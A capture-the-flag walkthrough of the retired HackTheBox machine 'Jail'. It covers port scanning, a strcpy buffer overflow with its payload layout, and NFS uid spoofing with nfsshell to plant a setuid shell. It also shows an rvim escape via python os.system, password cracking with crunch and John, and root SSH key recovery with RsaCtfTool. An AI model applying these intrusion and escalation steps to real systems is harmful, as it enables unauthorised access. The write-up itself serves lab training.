Jail


HackTheBox

Jail - HackTheBox

This writeup is for one of the Retired boxes on HackTheBox called Jail [1].

Step 1 - Recon & Enumeration

I started my reconnaissance with Nmap, UDP Proto Scanner, Nikto and Dirbuster. Starting with Nmap on host 10.10.10.34 we have

 nmap -sS -A -T4 --top-ports 1000 10.10.10.34

  Nmap scan report for 10.10.10.34
  Host is up (0.032s latency).
  Not shown: 996 filtered ports
  PORT     STATE SERVICE VERSION
  22/tcp   open  ssh     OpenSSH 6.6.1 (protocol 2.0)
  | ssh-hostkey:
  |   2048 cd:ec:19:7c:da:dc:16:e2:a3:9d:42:f3:18:4b:e6:4d (RSA)
  |   256 af:94:9f:2f:21:d0:e0:1d:ae:8e:7f:1d:7b:d7:42:ef (ECDSA)
  |_  256 6b:f8:dc:27:4f:1c:89:67:a4:67:c5:ed:07:53:af:97 (EdDSA)
  80/tcp   open  http    Apache httpd 2.4.6 ((CentOS))
  | http-methods:
  |_  Potentially risky methods: TRACE
  |_http-server-header: Apache/2.4.6 (CentOS)
  111/tcp  open  rpcbind 2-4 (RPC #100000)
  | rpcinfo:
  |   program version   port/proto  service
  |   100000  2,3,4        111/tcp  rpcbind
  |   100000  2,3,4        111/udp  rpcbind
  |   100003  3,4         2049/tcp  nfs
  |   100003  3,4         2049/udp  nfs
  |   100005  1,2,3      20048/tcp  mountd
  |   100005  1,2,3      20048/udp  mountd
  |   100021  1,3,4      38885/tcp  nlockmgr
  |   100021  1,3,4      44903/udp  nlockmgr
  |   100024  1          36835/tcp  status
  |   100024  1          55330/udp  status
  |   100227  3           2049/tcp  nfs_acl
  |_  100227  3           2049/udp  nfs_acl
  2049/tcp open  nfs_acl 3 (RPC #100227)

Then in Dirbuster, using the directory-list-2.3-medium.txt list, found two important directories.

 /cgi-bin/
 /jailuser/

Finally, nothing important from Nikto.



Step 2 - Exploitation

Accessing http://10.10.10.34/jailuser/ I found

Looking into the jail.c file we can see that the binary opens a connection to port 7411.

[...]
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
    perror("Socket error");
    exit(1);
}
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &sockyes, sizeof(int)) == -1) {
    perror("Setsockopt error");
    exit(1);
}
memset((char*)&server_addr, 0, sizeof(server_addr));
port = 7411;
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(port);
[...]

Furthermore, there is an auth() function that contains admin credentials and a buffer overflow vulnerability, because of the use of strcpy().

int auth(char *username, char *password) {
char userpass[16];
char *response;
if (debugmode == 1) {
    printf("Debug: userpass buffer @ %p\n", userpass);
    fflush(stdout);
}
if (strcmp(username, "admin") != 0) return 0;
strcpy(userpass, password);
if (strcmp(userpass, "1974jailbreak!") == 0) {
    return 1;
} else {
    printf("Incorrect username and/or password.\n");
    return 0;
}
return 0;
}

In order to exploit the service on port 7411 we need to pass the commands below and in the PASS command our exploit.

DEBUG
USER admin
PASS payload

The payload will get passed into strcpy(userpass, password); and there is no length check. I wrote the exploit script in python using pwntools and you can check it out in Github [2]. My idea was to fill the buffer with NOPs and have the shellcode after the return address. So, the return address will point into the NOPs and then the shellcode will run.

# BUFFER OVERFLOW - IDEA
# |--NOPs--|--returnAddress--|--Shellcode--|
#    28-b          4-b             50-b

Thanks to pwntools we can use the interactive() function and get a shell on the box.



Step 3 - Privilege Escalation

As a result, I got a shell on the box and then tried sudo -l. The nobody user can run /opt/logreader/logreader.sh with no password as the frank user (uid = 1000).





Next step, there is a NFS share open, on port 2049. The Network File System (NFS), is a protocol for a distributed file system which allows a computer to access files over a network as easily as if they were on its local disks. There are a few ways to access it and see its contents.

 1. showmount -e 10.10.10.34
    /opt                  *
    /var/nfsshare         *
 2. mount -t nfs 10.10.10.34:/opt /tmp/nfs -o nolock
 3. nfspy
 4. nfsshell

The best one to use and the one I used here is the last one, nfsshell [3,4]. The reason why, is that it can bypass root squash [5].

What is root squash?

Root squash basically removes all privileges from root and as a result root, is not able to read any files which are not world read, or write to any paths that are restricted [6]. For example, if root squash was not enabled, I would be able to mount the NFS volume and have complete control of the files on it (modify, delete or overwrite them). However, and here is where our exploit will take place, I can still exploit the NFS volume due to the use of nfsshell and the fact that I can set a remote user & group id. If you look in the image below, trying uid 0 and gid 0 fails to access the folder, because of root squash, so I then use uid 1000 and gid 1000.

So, using nfsshell I identified that the logreader.sh file is in NFS so I can access it and modify it through nfsshell. /opt can't add files, so trying on /var/nfsshare.

 nfs> host 10.10.10.34
 Using a privileged port (1022)
 Open 10.10.10.34 (10.10.10.34) TCP
 nfs> export
 Export list for 10.10.10.34:
 /opt                     *
 /var/nfsshare            *
 nfs> mount /var/nfsshare
 Using a privileged port (1020)
 Mount `/var/nfsshare`, TCP, transfer size 131072 bytes.
 nfs> uid 1000
 nfs> gid 1000
 nfs> put bin_sh bin_sh
 nfs> chmod 4777 bin_sh

Here, bin_sh is the actual /bin/sh file. I dropped it in /var/nfsshare and now by accessing /var/nfsshare/bin_sh, through the shell I have as nobody, I can run commands as frank.

I then decided to pass my public ssh key to the box through NFS into /home/frank/.ssh/authorized_keys, in order to login via ssh.

I logged in as frank via ssh and runned sudo -l.

Apparently, I can now run rvim as the user adm. Rvim is like vim, but in a restricted mode. I found an old writeup of a CTF challenge that used rvim to run commands, through python3 [7]. In the same way I found that I was able to run python commands as the adm user.

 :python import os; os.system('id')
 :python import os; os.system('ls -al /var/adm/.keys/')
 :python import os; os.system('cat /var/adm/.keys/note.txt')


In the /var/adm directory we have:

 /var/adm/.keys/
 /var/adm/.keys/.local/
 /var/adm/.keys/keys.rar
 /var/adm/.keys/note.txt
 /var/adm/.keys/.local/.frank

The /var/adm/.keys/.local/.frank file contains:

Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!

The /var/adm/.keys/note.txt file contains:

Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.

Moving the keys.rar file to my local machine (You can do this using Base64 encoding & decoding), I noticed that the file asked for a password. So, the two hints we have from the files in the .keys directory are probably going to help us find the password.

Seeing the .frank file, I realized that this is probably a substitution cipher and so I used an online tool to crack it [8].



Hahaha! Nobody will quess my new password! Only a few lucky souls have Escaped from Alcatraz alive like I did!!!

So, we need to find Frank's last name and brute force the password in order to crack the keys.rar file. Since, the guy escaped from Alcatraz and his first name was Frank, it won't be that hard to find his last name. A little bit of Google Search allowed me to find out that his last name was Morris. As a result the password will be in a format like: Morris1111$.

 Steps:

 1. base64 keys.rar
 2. Save the base64 string to a file
 3. base64 -d keysb64 > keys.rar
 4. rar2john keys.rar > keydecrypt
 5. crunch 11 11 -t Morris19%%^ > passwords.txt
 6. john --wordlist=./passwords.txt keydecrypt

So, John the Ripper was able to find the password, Morris1962!. I can now extract the keys.rar file. The keys.rar file contains a file named rootauthorizedsshkey.pub, that is the root public key and I need to find the private key in order to login via ssh. In order to do this I used RsaCtfTool [8]. It is able to find and extract the private key, if the public key used is easy to crack.

 1. unrar e keys.rar
 2. python RsaCtfTool.py --publickey /root/rootauthorizedsshkey.pub --private > root_ssh
 3. chmod 600 root_ssh
 4. ssh -i root_ssh root@10.10.10.34



References

[1] HackTheBox
[2] Jail buffer overflow exploit script
[3] Download nfsshell
[4] How to install nfsshell
[5] What is Root Squash
[6] Basic NFS Security
[7] Breaking out of Rvim
[8] Substitution Cipher Solver